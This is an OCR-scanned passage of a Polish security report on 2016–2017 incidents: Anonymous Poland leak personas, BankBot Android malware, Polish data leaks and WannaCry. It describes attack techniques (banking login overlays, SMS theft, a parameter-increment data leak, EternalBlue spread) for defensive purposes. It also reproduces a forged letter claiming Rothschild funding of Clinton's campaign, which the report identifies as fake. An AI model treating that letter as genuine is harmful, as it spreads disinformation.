przekierowuje domyslnie do polskiej wersji wyszuki-
warki Google, lecz jej ukrainskiej wersji.
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Ataki przeprowadzono w czasie trwania skandalu
dotyczacego dopingu w rosyjskiej reprezentacji
olimpijskiej?’. W lipcu 2016 roku WADA zare-
komendowata Miedzynarodowemu Komitetowi
Olimpijskiemu (MKOI) niedopuszczenie do letnich
igrzysk w Rio de Janeiro catej rosyjskiej reprezenta-
cji. Kilka dni pézniej CAS oddalit apelacje w sprawie
dyskwalifikacji kilkudziesieciu rosyjskich zawodni-
kéw. Na poczatku sierpnia 2016 roku MKOI dopuscit
rosyjska reprezentacje, ale bez 111 z 389 zgtoszo-
nych zawodnikéw. Z kolei Miedzynarodowy Komitet
Paraolimpijski zdyskwalifikowat cata rosyjska repre-
zentacje paraolimpijska, a odwotanie od tej decyzji
wkrotce odrzucit CAS.

Dyrektor WADA na poczatku wrzesnia przyznat®°, ze
do atakow na systemy WADA dochodzito codzien-
nie przez ostatnie 3 tygodnie. Stwierdzit rowniez,

ze bez watpienia byty to ataki przeprowadzane
przez Rosjan. Rzecznik rosyjskiego rzadu zdecydo-
wanie zaprzeczyt tym informacjom3! i stwierdzit, ze
mogty by¢ to celowe préby zrzucenia na nich winy
za przeprowadzone ataki. Rosyjski minister sportu
zaoferowat Swiatowej Organizacji Antydopingowej
pomoc rosyjskich instytucji w analizie ataku i ustale-
niu sprawcow.

Czes¢ badaczy bezpieczenstwa IT (w tym firmy Thre-
atConnect®?, FireEye®® czy Trend Micro®) ustalita,

ze ataki zostaty najprawdopodobniej przeprowa-
dzone przez grupe APT28/Fancy Bear, majaca
prawdopodobnie powigzania z rosyjskim wywiadem
wojskowym. ThreatConnect podkreséla, ze infrastruk-
tura oraz techniki atakujacych byty zgodne z tymi,
ktére wykorzystano w atakach podczas trwajacych
woweczas wyborach prezydenckich w USA.

29 https://en.wikipedia.org/wiki/Doping_in_Russia#Au-
gust_to_September_2016

30 https:/www.nrk.no/sport/wada_-_-russland-prover-a-
hacke-0ss-1.13115804

31 https:/www.ft.com/content/a20743c2-79da-11e6-
97ae-647294649b28

32 https:/www.threatconnect.com/blog/fancy-bear-an-
ti-doping-agency-phishing/

33 https:/www.intelligence.senate.gov/sites/default/
files/documents/os-kmandia-033017.pdf

34 https://blog.trendmicro.com/pawn-storm-power-so-
cial-engineering/

Pojawity sie rowniez gtosy watpiace w rosyjski
udziat w atakach na WADA i CAS. Badacze z bloga
“Jump ESP, jump!"3> zwracajg uwage na to, ze
dowody przedstawione przez Threat Connect sg
dyskusyjne, a sami Rosjanie nie skorzystaliby na
publikacji wyciekéw. Postawili hipoteze, w ktérej to
wtasdnie Rosja miata by¢ zdyskredytowana z powodu
oskarzenia o atak. Dowodzi¢ ma temu m.in. strona
fancybear.net, na ktérej opublikowano dokumenty
z WADA - oprdcz tego, ze nazwa strony ma kojarzy¢
sie z grupa APT28/Fancy Bear, to w kodzie poczat-
kowej wersji strony znaleziono komentarze w jezyku
koreanskim?3¢, ktore zostaty szybko usuniete.

Bradley Foundation

Pod koniec pazdziernika 2016 roku amerykanska
fundacja charytatywna Lynde i Harry Bradleyow
przyznata, ze réwniez padta ofiarg atakéw, ktérych
przeprowadzenie przypisali sobie “Anonymous
Poland” (@anpoland). Na swoim koncie twitterowym
umiescili link do prawie 42 gigabajtéw (w formie
nieskompresowanej) rzekomo skradzionych doku-
mentow. Dostep do dziesigtek tysiecy plikow mieli
uzyskac przez publicznie dostepng ustuge zdal-
nego dostepu (za pomoca funkcji RDP) na jednym
z serwerdéw fundacji z prostym do ztamania hastem
administratora®.

4% Anonymous Poland poland - 29 O

@ #hacked Bradley Foundation - 30.GB -
fil.,email/1Xe6Ghb - FullBackup from local

network and server. #bigdata

#BradleyFND

Rysunek 6. Wyciek danych z Bradley Foundation®®

35 https:/jumpespjump.blogspot.de/2016/10/why-i-be-
lieve-wada-was-not-hacked-by.html

36 http:/web.archive.org/web/20160913013727/http:/
fancybear.net/

37 https:/www.databreaches.net/bradley-founda-
tion-hacked-to-expose-contribution-to-clinton-campaign/

38 http:/archive.is/5VEGp
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Wedtug portalu vocativ.com®® zdecydowana wiek-
szos$¢ dokumentéw z archiwum wydawata sie
prawdziwa. Znaleziono tam miedzy innymi doku-
menty majace $wiadczy¢ o niezgodnym z prawem
dofinansowaniem kampanii wyborczej Hillary Clinton
przez rodzine Rothschildéw, przeprowadzonym pod
przykryciem dziatalnosci fundacji Bradleyéw. Jeden
z tych dokumentoéw zostat udostepniony w osobnym
tweecie razem z informacjg o wycieku danych.

3 | Tho Lynde snd Harry
| BRADLEY FOUNDATION
32022901 Cynthia K. Friauf
Wice President for Finance

The Liot Howse « 1241 North Franilin Pave = Mibwaiskee, Wisionsia 53
(414) 2919915 <« Fax (414) 2919631 2 ww b 5

July 19, 2016

Mr. Joseph P. Gill. CTA

Rothschull Asset Management, Inc.

1251 Avenue of the Americas. 44® Floor
New York, New York 10020

Via Email: joseph.gill@rothschild.com

Dear Joseph:

Payment is required for Mrs Clinton’s campaign. In this conmection. we will withdraw
$150 million froms the Rothschild portfolio on July 22%. Please have funds available by
this date.

Please conet Mandy Hess if yon have any questions

Rysunek 7. Dokument majacy swiadczy¢ o nielegal-
nym finansowaniu kampanii Hillary Clinton

Autentycznos$c listow zostata od razu podwazona
przez kierownictwo fundacji. Jedna z wicedyrekto-
réw w rozmowie z vocativ.com na tres¢ dokumentu
miata zareagowac stowami: “O moj Boze, co za
podrobka!”. Amerykanska organizacja Center for
Responsive Politics, $ledzgca m.in. legalnos¢ przepty-
wow pieniedzy w komitetach wyborczych, réwniez
stwierdzita, ze dokumenty byty fatszywe i zaden tego
typu przelew nie zostat zarejestrowany.

Prowadzacy konto @anpoland niejednokrotnie na
swoich tweetach podejmowali préby zdyskredytowa-
nia kampanii Hillary Clinton oraz obozu demokratéw.
Nie byta to réwniez pierwsza préoba zarzucenia
Hillary Clinton dziatan korupcyjnych poprzez publi-
kacje sfatszowanych dokumentéw w prawdziwym
wycieku. W opublikowanych przez persone “Gucci-
fer 2.0” dokumentach, wykradzionych rzekomo

z fundacji Hillary Clinton, réwniez znalazty sie spre-

39 http:/www.vocativ.com/372088/bradley-foundation-
hack-clinton-cammpaign-fake-files/

parowane materiaty majgce dowies¢ jej korupcji.
Badacze bezpieczenstwa (w tym firmy CrowdStrike®,
Mandiant czy Fidelis Cybersecurity*!) okreslili, ze
autentyczne dokumenty pochodzity z wczesniejszych
wyciekéw z Krajowego Komitetu Partii Demokra-
tycznej oraz przypisali te dziatania rosyjskim stuzbom
wywiadowczym.

Dane osobowe ukrainiskich weteranow

W listopadzie 2017 roku na profilu @opanon_pl
(ponownie z nazwa “Anonymous Poland”) poja-
wita sie informacja o wycieku danych osobowych
ukrainskich weteranéw walk na terenie Donbasu.

e Anonymous Poland P -
= @opanon_p) S ’

#hacked Archive personal data of veterans
Ukrainian ATO - ApxiB 0COOMCTUX AaHWUX
BeTepaHie ATO YKpaiHu - download ->
bit.do/dThOM - nie zapomnij #wotyn

VIR
L7

JIOBIJIKA

Npo BeINOCEPEANIC YUACTH OCODH B AHTHTEPOPHCTHUHII Oftepauii,

zaleanedenti i nposeieHHA CIWNEKHOCT], CyBepeHiTeTy
2 N Feaibines

Rysunek 8. Wyciek danych ukrainskich weteranow

40 https:/www.crowdstrike.com/blog/bears-midst-intru-
sion-democratic-national-committee/

41 https:/www.washingtonpost.com/world/
national-security/cyber-researchers-confirm-rus-
sian-government-hack-of-democratic-national-com-
mittee/2016/06/20/e7375bc0-3719-11e6-9ccd-
d6005beac8b3_story.html
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W3réd udostepnianych danych znalazty sie kwestio-
nariusze osobowe ukrainskich zotnierzy zawierajace
m.in. dane osobowe ich dzieci.

Juz nastepnego dnia po publikacji wycieku Depar-
tament ds. cyberprzestepczosci ukrainskiej policji
potwierdzit*? fakt przetamania zabezpieczen jednego
z komputerdéw regionalnego biura rzadowej jednostki
rejestrujgcej weteranéw walk w Donbasie. Nowy
profil “Anonymous Poland” w swoim opisie*® podkre-
$lat rzekoma przynaleznos$¢ do Bellingcat*, grupy
dziennikarzy, ktérzy swoje $ledztwa opierajg na
analizie publicznie dostepnych w Internecie infor-
macji (forma “biatego wywiadu”, z ang. “open-source
intelligence”).

Anonymous Poland
@opanon_pl

Welcome to the official Anonymous
Poland Twitter! Researcher and hacker at
@bellingcat

© Poland
Gatt med augusti 2012

Rysunek 9. Opis konta @opanon_pl

42 https:/cyberpolice.gov.ua/news/kiberpolicziya-vsta-
novyla-kompyuter-z-yakogo-buly-vykradeni-personal-
ni-dani-uchasnykiv-ato--sergij-demedyuk-foto-7996/

43 http:/web.archive.org/web/20171117222743/https:/
twitter.com/opanon_pl

44 https:/en.wikipedia.org/wiki/Bellingcat

Grupa pod przewodnictwem Eliota Higginsa popu-
larnos¢ zdobyta dzieki analizie incydentu zestrzelenia
samolotu pasazerskiego malezyjskich linii lotniczych
MH17 w 2015 roku podczas konfliktu na wschod-
niej Ukrainie*. Dziennikarze prébowali dowies¢, ze
samolot zostat zestrzelony przez rosyjskie wyrzutnie
rakietowe, a przedstawione przez Rosjan dowody,
w tym zdjecia satelitarne zostaty sfatszowane.
Whioski grupy zostaty potwierdzone przez sledztwo
miedzynarodowej komisji pod przewodnictwem
holenderskiego Ministerstwa Sprawiedliwosci.

Analizujac sytuacje w Syrii, we wrze$niu 2016 roku
grupa podwazata* z kolei wiarygodnos$¢ zapewnien
rosyjskiego Ministerstwa Obrony Narodowej o tym,
ze Rosja nie miata zwigzku z bombardowaniami
Aleppo.

Podobnie jak w przypadku wycieku z Bradley Foun-
dation, tutaj tez informacje “Anonymous Poland”
rozpowszechniaty podejrzane konta. Jak wskazuje
Eliot Higgins*’, wiele z nich to podrobione konta
0s0b zwigzanych z grupa Bellingcat. Aric Toler,
jeden z gtéwnych dziennikarzy grupy, zgtosit admi-
nistratorom Twittera przynajmniej kilkadziesigt kont
majacych imitowac profile grupy badz jej cztonkow.

W os$wiadczeniu rzecznik prasowy ukrainskiej poli-
cji*? zwrécit uwage, ze celem publikacji wycieku
miato by¢ miedzy innymi celowe pogorszenie polsko
-ukrainskich stosunkéw.

45 https:/www.newyorker.com/magazine/2013/11/25/
rocket-man-2

46 https:/www.bellingcat.com/news/
mena/2016/09/01/fact-checking-russias-claim-didnt-
bomb-5-year-old-syria/

47 https:/twitter.com/EliotHiggins/sta-
tus/934066089004331009

48 https:/twitter.com/AricToler/sta-
tus/933410283841781760

49 http:/en.interfax.com.ua/news/general/463210.html
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Dane kart ptatniczych litewskich bankow

Ostatni wyciek powigzany z “Anonymous Poland”
dotyczyt danych kart ptatniczych dwéch litewskich
bankéw: Luminor oraz SEB Bank. Plik z danymi
udostepniony w listopadzie 2017 roku, niedtugo
po wycieku danych ukrainskich weteranéw, miat
zawierac 165 tysiecy rekordéw z prawidtowymi
numerami kart ptatniczych oraz danymi osobowymi
ich posiadaczy. Rzeczniczka SEB Banku w rozmo-
wie z portalem The Daily Beast zapewnita, ze dane
klientéw banku sa w petni bezpieczne, a rzekomo
wykradzione informacje sg fatszywe. Bank nie
potwierdzit réwniez, by rzeczywiscie choc jeden

z klientéw miat ponies¢ z tego powodu szkody.

M\ Anonymous Poland & B
= @opanon_pl

#hacked cc tracks Lithuanian banks seb.|t &
luminor.lt

Lithuania = Banana Republic = now
Blackfriday for lithuanian banks

Who needs a full DB? [ can give instead of
blowjob (1.8kk users)

joke))

and yes, thnx #bellingcat (check download

links)

1:22 pr - 21 Moy 2017

Faza 2 Fa 1

Rysunek 10. Zapowiedz publikacji wycieku danych
kart ptatniczych

Podobnie jak przy poprzednim wycieku, tutaj
réwniez “Anonymous Poland” zwracato duzg uwage
na rzekome powigzania z grupa Bellingcat.
Niedtugo po wycieku na stronie leakdata.us pojawit
sie artykut o tej sprawie. Zwrécono w nim uwage
na rzekoma reakcje osoby, ktéra przez wyciek miata
straci¢ pienigdze. Wida¢ tez odpowiedz profilu @
opanon_pl. Warto zauwazy¢, ze uzyto w niej emoti-
kone z uSémiechem zapisang w sposoéb specyficzny
dla 0so6b korzystajacych z klawiatur z rosyjsko-
jezycznym uktadem. Ze wzgledu na potozenie
klawiszy o wiele prosciej jest na takiej klawiaturze
pomingc¢ znak dwukropka badz srednika, wiec

zamiast tego zwyczajowo powiela sie tylko nawias
zamykajacy.

e Anonymous Poland i
= Dopanon_pl

#Lithuanian kurwa ))) beggar
i
Someone stolen money from my card
Fuckerz | fuck youfuck youfuck

youfuck yo&rfuék youfuck youfuck youfuck
youfuck youfuck you

FUCK YOU FUCKERS BELIN GCAT
FUUUUCKCKKCH

]
T T ST L
i | HEETE e —
B s m=ry v)

E - S

Rysunek 11. Odpowiedz @opanon_pl na reakcje
osoby rzekomo pokrzywdzonej przez wyciek

Podobny artykut ukazat sie tez na stronie cyber-usa.
com®°,

Eliot Higgins oraz The Daily Beast w swoich anali-
zach wykazali, ze oba portale sg petne fatszywych
informacji, wiekszosc¢ artykutéw zostata skopiowana
z innych stron o bezpieczenstwie IT, a tozsamosci
0s6b publikujacych zostaty skradzione lub wymy-
$lone. Pod koniec listopada 2017 roku oba serwisy
zniknety z Internetu.

50 https:/web.archive.org/web/20171129135708/
http:/cyber-usa.com/anonymous-poland-has-pub-
lished-data-from-lithuanian-banks-updated/
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Podsumowanie

Threat Connect jest zdania®?, ze “Anonymous Poland”
jest jedna z kilku person uzywanych przez grupe
APT28 do publikowania wyciekéw danych.

Dziatanie wszystkich person polegato na blizniaczym
schemacie: konta miaty udawac¢ aktywistéw spotecz-
nych zamieszczajacych w internecie skradzione
materiaty majace dowodzi¢ nielegalnych dziatan (np.
korupcji). Do wyciekéw, ktore nie byty kompromitu-
jace, dodawano spreparowane dokumenty. Czasem
celem byto skierowanie odpowiedzialnosci za ataki
na inny podmiot.

Grupa Digital Shadows w swoim raporcie®?, anali-
zujgcym rozpowszechnianie informacji o wycieku

z Bradley Foundation wskazuje na blisko 8000
tweetdw zamieszczonych przez 7500 sfabrykowa-
nych lub przejetych kont udostepniajgcych tweety
“Anonymous Poland”. Podkreslajg rowniez, ze prze-
prowadzenie operacji na tak duzg skale mozliwe jest
tylko przez grupe z duzymi zasobami i doswiadcze-
niem przeprowadzania akcji dezinformacyjnych, co
nie jest domenga dotychczas dziatajgcych rzeczywi-
stych grup aktywistow.

Konta na Twitterze wykorzystywane do publikacji
wyciekéw oraz te uzyte do rozpowszechnienia infor-
macji o wyciekach byty wczesniej przejete przez
atakujacych?® badz catkowicie fatszywe. Czesé z nich
to czasowo uspione konta z minimalng aktywnoscia,
a czes$¢ przygotowywano do operacji w dtuzszej
perspektywie®t. Niektore podawaty sie rowniez za
istniejace osoby*. Profil dziennikarki magazynu
“Economist” Annabelle Chapman zostat skopiowany
pod inng, ale podobng nazwa wytacznie po to, zeby
rozpowszechnic¢ informacje o fatszywym wycieku

z litewskich bankéw.

51 https:/www.threatconnect.com/blog/faketiv-
ist-vs-hacktivist-how-they-differ/

52 https:/www.digitalshadows.com/blog-and-research/
anonymous-poland-not-your-typical-hacktivist-group/

53 https:/twitter.com/benimmo/status/931265371406925824
54  https:/twitter.com/benimmo/status/931263403087269889
55 https:/twitter.com/benimmo/status/931267585315831809

Tweets Following Fall

owers
3,121 a7z 2,929

Tweets  Tweets & replies  Media

Annabelle Chapman
@hapman_Ag q Annabelle Chapman @Chapn

loumalist. Poland stringer for ying to @TheHackershew:
@Thekcononist

Anonymous Poland @opanon pl
#Lithuanian kurwa ))) beggar

Tweet to Annabelle Chapman 2] |

Rysunek 12. Fatszywy profil dziennikarki Annabelle
Chapman

Gtéwne konta odpowiedzialne za rozpowszechnianie
informacji o wyciekach zostaty juz usuniete przez
administratorow Twittera. W szczegdlnosci konto @
anpoland zostato zawieszone pomiedzy 18 sierpnia
a 19 pazdziernika 2017 roku®¢, a @opanon_pl pod
koniec listopada 2017 roku.

Przypadek fatszywych profili “Anonymous Poland”
oraz catej sieci botéw twitterowych pokazuja, jak
bardzo rozlegte i skomplikowane s3 dzisiejsze dzia-
tania dezinformacyjne. Weryfikacja prawdziwosci
publikowanych informacji wymaga doktadnych

i czesto dtugich badan. Wyznaczenie atrybucji jest
jeszcze trudniejsze i zawsze niesie ryzyko popetnie-
nia btedu, co jest zamierzeniem autoréw kampanii.

Konta w serwisie Twitter pod nazwa
“Anonymous Poland” kilkukrotnie w 2016
i 2017 roku byty wykorzystywane do
publikacji wyciekéw danych...

= g

... ktére pochodzity z atakéw na systemy informatyczne
instytucji panstwowych, miedzynarodowych, organizacji
pozarzadowych i podmiotéw komercyjnych.

56 http:/web.archive.org/web/20170515000000*/https:/
twitter.com/anpoland/status/792466848667271172
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Androidowe kampanie malware

W pazdzierniku i listopadzie zesztego roku obser-
wowalismy kampanie ztos$liwego oprogramowania,
skierowane na polskich uzytkownikéw systemu
Android. Wykorzystywany malware stanowit wariant
popularnej rodziny BankBot i réznit sie od orygi-
nalnego oprogramowania kilkoma szczegétami.

Do infekcji dochodzito poprzez instalacje aplikacji

z serwisu Google Play Store. Zostaty tam umiesz-
czone co najmniej 3 probki, ktore obeszty jego
zabezpieczenia antywirusowe.

Zidentyfikowane nazwy ztosliwych aplikacji to:
o Crypto Monitor

e StorySaver

o Cryptocurrencies Market Prices

citr handlowy

@ Angielski/tnglist

Nazwa uzytkownika

Haslo

nika lub hasta

]@l Witaj w mBankut

Podaj Identyfikator aby sie zalogowac

DALEJ

Zgodnie z analiza firmy ESET>” dwie pierwsze probki
zostaty pobrane z samego tylko Google Play Store od
1000 do 5000 razy.

Jedna z podstawowych funkgcji bota byto wykradanie
danych logowania do systemu bankowosci interneto-
wej. Informacja o tym, kiedy atakowaé, byta zawarta
w wewnetrznej liscie aplikacji, pod ktére trojan
prébowat sie podszywad. Na celowniku znalazto sie
wiekszo$¢ czotowych polskich bankéw. Byty tam
m.in. PKO Bank Polski, mBank, ING Bank S'Iaski oraz
Bank Pekao SA (petna lista atakowanych aplikacji
znajduje sie ponizej).

ALIOR Logowanie

E BANK

Identyfikator :

zarejestruj sie @

Zarejestruj sie w aplikacji Getin Mobile. Aby
rozpoczac prace utworz profil uzywajac danych
logowania do
Bankowaosci internetowe;j.

LOGIN

DALEJ

57 https:/www.welivesecurity.com/2017/12/11/bank-
ing-malware-targets-polish-banks/
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Celem ataku byty nastepujace aplikacje bankowosci

elektroniczne;j:

e com.comarch.mobile -> Alior Mobile

¢ eu.eleader.mobilebanking.pekao -> Bank Pekao

e eu.eleader.mobilebanking.raiffeisen -> Mobilny
Bank

e pl.fmbank.smart -> Nest Bank

e pl.mbank -> mBank PL

e wit.android.bcpBankingApp.millenniumPL ->
Bank Millennium

e pl.pkobp.iko -> IKO

e pl.plus.plusonline -> Plus online

e pl.ing.mojeing -> Moje ING mobile

e pl.bzwbk.bzwbk24 -> BZWBK24 mobile

e com.getingroup.mobilebanking -> Getin Mobile

e eu.eleader.mobilebanking.invest -> plusbank24

e pl.bph -> BusinessPro

e com.konylabs.cbplpat -> Citi Handlowy

e eu.eleader.mobilebanking.pekao.firm ->
PekaoBiznes24

Przeanalizowany wariant nie atakowat aplikacji
bankowych uzywanych w innych krajach. Jedna

z prébek o nazwie ,Cryptocurrencies Market Prices”
okazata sie starszg wersjg opisywanego oprogra-
mowania. Analiza wskazuje, ze trafita do serwisu
VirusTotal dnia 13.10.201758. Dodatkowa mozliwo-
$cig BankBota byto przechwytywanie wiadomosci
SMS oraz wyswietlanie fatszywych powiadomien

w gérnym pasku na urzadzeniu ofiary.

Sposéb dziatania

Mechanizm kradziezy z uzyciem BankBota prze-
biegat w kilku krokach. Najpierw pobierana byta
lista zainstalowanych aplikacji na telefonie. Potem
nastepowato poréwnanie z listg nazw aplikaciji
bankowych, z ktérych miaty zosta¢ skradzione dane
do logowania. Jesli ktéras z aplikacji interesujacych
przestepcow byta zainstalowana, wyswietlato sie
fatszywe okno logowania, stylizowane na system
transakcyjny atakowanego banku. Wprowadzone
dane byty w nastepnym kroku wysytane na wskazany
serwer atakujacego.

58 https:/www.virustotal.com/#/file/75759cc9a-
f54e71ac79fbdc091e30b4ab6e5d5862d2b1cOdecfb-
83c%9a3d99b01b/

Operator botnetu mégt skutecznie wyprowadzié
pieniadze z banku ofiary, poniewaz malware posiadat
funkcjonalnosc¢ kradziezy SMS-éw. Treéci wiadomo-
$ci, podobnie jak w przypadku danych logowania,
byty wysytane do serwera zarzadzajacego botnetem.
SMS stanowi obecnie najczesciej stosowany sposéb
autoryzacji w kanatach bankowosci internetowe),
dlatego w tej fazie ataku mozliwe byto zlecenie oraz
zatwierdzenie dowolnej operacji.

Botmaster otrzymywat réwniez inne istotne informa-
cje na temat atakowanego urzadzenia. Byty to:
numer IMEI

e nazwa operatora sieci

e numer telefonu

e wersja systemu Android

o kraj, w ktorym aktualnie telefon sie znajduje
e lista zainstalowanych aplikacji bankowych

e model telefonu

e stata 1.0 (prawdopodobnie wersja malware)
¢ token wygenerowany za pomocg Firebase

e server_id - stata, inna w kazdej prébce

Jak zapobiec infekcji?

Czesto powtarzana rada, aby instalowac aplika-

cje wytacznie z oficjalnego sklepu Google'a w tym
wypadku okazata sie nieskuteczna. Oryginalne
aplikacje rowniez mogg by¢ niebezpieczne dla
uzytkownikow. Warto wspomniec tutaj o podsta-
wowych mechanizmach ostrzezen systemu Android.
W procesie instalacji zawsze wys$wietlana jest lista
wymaganych uprawnien, o ktére prosi aplikacja.
Uzytkownik powinien realnie ocenic¢ ich zasadnos¢.
Jezeli aplikacja monitorujaca kursy walut prosi

o mozliwos$¢ odczytywania wiadomosci SMS, istnieje
ryzyko, ze wykorzysta te uprawnienia do wystania
tresci wiadomosci na zewnetrzny serwer. Oczywiscie
warto mie¢ na wzgledzie, ze nadmiar wymaganych
uprawnien nie zawsze oznacza zte intencje aplikaciji.
Czesto jest to po prostu efekt btedu programisty.
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Wycieki danych w Polsce

InPost

22 sierpnia na najpopularniejszym w tamtym czasie
polskim forum schowanym za anonimowa siecig TOR
pojawit sie wpis dotyczacy wtamania do InPostu -
dostawcy ustug kurierskich i paczkomatowych. Miato
ono miejsce najprawdopodobniej na poczatku lipca
2017 roku.

Post zawierat odnosnik do archiwum z wykradzio-
nymi informacjami.

WSsréd nich najbardziej zagrazaty prywatnosci zrzuty
baz, ktore zawieraty dane osobowe i hasta ponad 57
tys. pracownikéw firmy. Ten sam problem dotyczyt
kilkuset pracownikéw bankéw, ktérzy mieli swoje
konta w systemie.

Strony 1 Mapisz odpowiedz

hackmachine 2017-08:22 AM

‘Obserwator
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Rysunek 13. Przyktad skanu wniosku o PEKA.
Zrédto: niebezpiecznik.pl

Rysunek 14. Wpis na forum z informacjg o wycieku
danych z InPost. Zrédto: niebezpiecznik.pl

PEKA
(Poznanska Aglomeracyjna Karta Miejska)

2 lutego 2017 r. serwis niebezpiecznik.pl poinfor-
mowat o luce wykrytej w systemie poznanskiego
Zarzadu Transportu Miejskiego. Pozwalata ona na
pobieranie dokumentéw, ktére zawieraty doktadne
dane osobowe i teleadresowe, a takze zdjecia oséb
posiadajacych poznanska elektroniczng karte aglo-
meracyjng (PEKA).

Przy uzyciu przegladarki internetowej byto mozliwe
manipulowanie jednym z przesytanych do serwera
parametrow. Ciggta inkrementacja wartosci liczbo-
wej o 1 umozliwiata pobieranie kolejnych skanéw
whnioskow.

Szacuje sie, ze wyciekty dane ok. 300 tys. mieszkan-
céw Poznania.

Hasta z wyciekéw, publikowane czesto w postaci kompilacji z kilku Zrédet,
wykorzystywane sg do uzyskiwania dostepu do kont uzytkownika w innych

serwisach.
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Redisbad.pl

25 lipca 2017 roku, na jednej z grup facebookowych
zrzeszajacych programistéw PHP, pojawit sie wpis
dotyczacy niepoprawnej konfiguracji popularnego
sklepu odziezowego - redisbad.pl. Btad polegat na
mozliwosci uzyskania nieautoryzowanego dostepu
do interfejsu deweloperskiego, skad mozna byto

operowac na bazie danych w trybie odczytu i zapisu.

Znajdowaty sie tam m.in. dane osobowe klientéw
i informacje o ztozonych zaméwieniach.

Szybka reakcja ze strony zespotu administracyjnego
nie przyniosta od razu zamierzonego skutku. Wyta-
czono panel webowy, jednak przez kolejne kilka
godzin nadal dziatato API.

Nie wiadomo, przez jak dtugi czas luka byta obecna
w srodowisku produkcyjnym i czy wczesniej ktos
z niej skorzystat. Po publikacji wpisu informacja
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Rysunek 15. Wycinek danych z bazy sklepu redisbad.pl.
Zrédto: z3s.pl

szybko rozeszta sie wsrdéd polskiej spotecznosci
internautéw i wielokrotnie pobrano niezabezpie-
czone dane.
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Zagrozenia i incydenty

na swiecie

WannaCry

W pierwszej potowie maja 2017 r. internet obiegta
informacja o btyskawicznie rozprzestrzeniajagcym
sie ztosliwym oprogramowaniu typu ransomware,
ktére miato bezposredni wptyw na zaktécenie
dziatania departamentdéw, a nawet catych firm

w kilku regionach $wiata. Ransomware, nazwany
WannaCry, (inaczej WannaCrypt, WanaCryptOr 2.0,
WCry) zostat zauwazony pierwszy raz w pigtek 12
maja ok. 8:00 czasu GMT (10:00 czasu polskiego),
“uziemiajac” tuz przed weekendem wiele firm
transportowych (m.in. FedEx, Frankfurt Sbahn,
Deutsche Bahn), wielkich operatoréw telekomuni-
kacyjnych (hiszpanska Telefonica, Portugal Telecom,
rosyjski Megafon), producentéw samochodow
(Honda, Nissan, Renault), a takze takie instytucje
jak chinskie banki, rosyjskie Ministerstwo Spraw
Wewnetrznych, brytyjska stuzbe zdrowia i wiele
innych. Avast oszacowat zasieg ataku na ponad 230
000 komputeréw, w wiecej niz 150 krajach. Inne
zrodta podajg podobng liczbe infekcji. W Polsce
ofiarami tego ransomware’u padto 12 558 urzadzen
z 411 systemoéw autonomicznych (obserwacja na
podstawie unikalnych adreséw IP zgromadzonych
w né w kontekscie ataku), co w odniesieniu do
danych przedstawianych przez Avast daje ok. 5,46
proc. infekcji na catym $wiecie.

Tak ogromna liczba infekcji WannaCry byta spowo-
dowana zaimplementowaniem w oprogramowaniu
funkcji automatycznej propagacji, co pozwala je
zaliczy¢ do robakéw sieciowych. Do wspomnianej
propagacji zostat uzyty exploit o nazwie kodowe;j
EternalBlue, stworzony przez Amerykanska Agencije
Bezpieczenstwa (NSA), upubliczniony w kwietniu
2017 r. przez grupe The Shadow Brokers. Exploit
wykorzystuje podatno$¢ w protokole Microsoft
Server Message Block 1.0 (SMBv1), ktéra pozwala

na zdalne wykonanie dostarczonego kodu na
komputerze ofiary, w nastepstwie czego instaluje
sie tylna furtka DoublePulsar (narzedzie rowniez
opracowane przez NSA, a udostepnione przez The
Shadow Brokers). Co ciekawe, 14 marca 2017 r.
Microsoft udostepnit pakiet aktualizacji (oznaczony
kodem MS17-010), w ktérym znajdowata sie tatka
na wspomniang podatnos$¢. Warto zaznaczyé¢, ze
poprawki bezpieczenstwa byty tak istotne, ze
Microsoft zdecydowat sie w drodze wyjatku obja¢
nimi réwniez starsze systemy, ktére nie byty juz od
dawna wspierane (w tym Windowsa XP, niewspiera-
nego od kwietnia 2014 r.).

Niestety, nie wszyscy zainstalowali na czas
krytyczne poprawki bezpieczenstwa, udostepnione
2 miesigce przed atakiem. Interesujacg kwestig

w tym kontekscie jest podziat zainfekowanych urza-
dzen ze wzgledu na wersje systemu operacyjnego.
Jak podaje Kaspersky Lab, ponad 98 proc. infekcji
miato miejsce na maszynach z systemem Windows
7 (rézne wersje), natomiast liczba infekcji urzadzen
z zainstalowanym Windowsem XP byta znikoma
(rzedu 0,1 proc.). Powodem byty problemy Wanna-
Cry z dostarczeniem payloadu na maszyne ofiary,

a jesli dziatanie exploita juz sie powiodto, urucho-
mienie ransomware’u powodowato crash systemu.
Warto natomiast dodac, ze manualne uruchomienie
oprogramowania faktycznie skutkowato zaszyfro-
waniem dysku.

Nadal nie jest jasne jak doszto do pierwszej infek-

cji, ale obecne teorie raczej wykluczajg otworzenie
ztosliwego zatacznika dostarczonego np. w mailu
phishingowym, sktaniajac sie ku hipotezie o mozliwo-
$ci infekcji przez otwarty publicznie port ustugi SMB
w podatnej wersji.
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Kilka dni po rozpoczeciu ataku, Marcus Hutchins
(jeden z researcheréw zajmujacych sie bezpieczen-
stwem komputerowym) odkryt w kodzie WannaCry
tzw. kill switch (mechanizm deaktywacji) w postaci
domeny, o ktérg odpytywat ransomware - w przy-
padku jej istnienia oprogramowanie przerywato
dziatanie przed zaszyfrowaniem dysku. Najpraw-
dopodobniej pierwotnym przeznaczeniem tego
mechanizmu byto wykrywanie sandboxdéw. Reje-
stracja wspomnianej domeny przez Hutchinsa
znacznie spowolnita tempo ataku i liczbe nowych
infekcji. Niedtugo potem ukazata sie nowa prébka
ze zmieniong nazwa domeny, ktéra rowniez dosé
szybko zostata unieszkodliwiona w ten sam sposéb,
tym razem przez innego researchera. Trzecia wersja
WannaCry nie miata juz wytacznika, ale dato to czas
firmom zajmujacych sie bezpieczenstwem kompute-
rowym na przygotowanie i dystrybucje stosownych
sygnatur dla tego malware'u.

Reszta funkcjonalnosci WannaCry (poza skano-
waniem lokalnej sieci w poszukiwaniu systemoéw

z wiaczong ustuga SMB w podatnej wersji protokotu
w celu dalszej propagacji) nie budzi juz tak wielkich
emociji, gdyz wpisuje sie w do$¢ typowy schemat
dziatania ransomware’u. Robak za pomoca dedyko-
wanego komponentu szyfruje ok. 150 popularnych
rodzajow plikow, nadajac im rozszerzenia *.wnry
lub *.wncry. Do tego celu wykorzystuje kombinacje
algorytméw AES-128 oraz RSA-2048, praktycznie
niemozliwg do ztamania. W niektérych starszych
wersjach systemu Windows istnieje jednak podat-
nos¢ umozliwiajaca odzyskanie z pamieci liczb
pierwszych, na podstawie ktérych zostat wygene-

rowany klucz szyfrujacy pliki. Prawdopodobieristwo
odtworzenia wspomnianego klucza zaowocowato
stworzeniem narzedzi deszyfrujgcych dane tj.
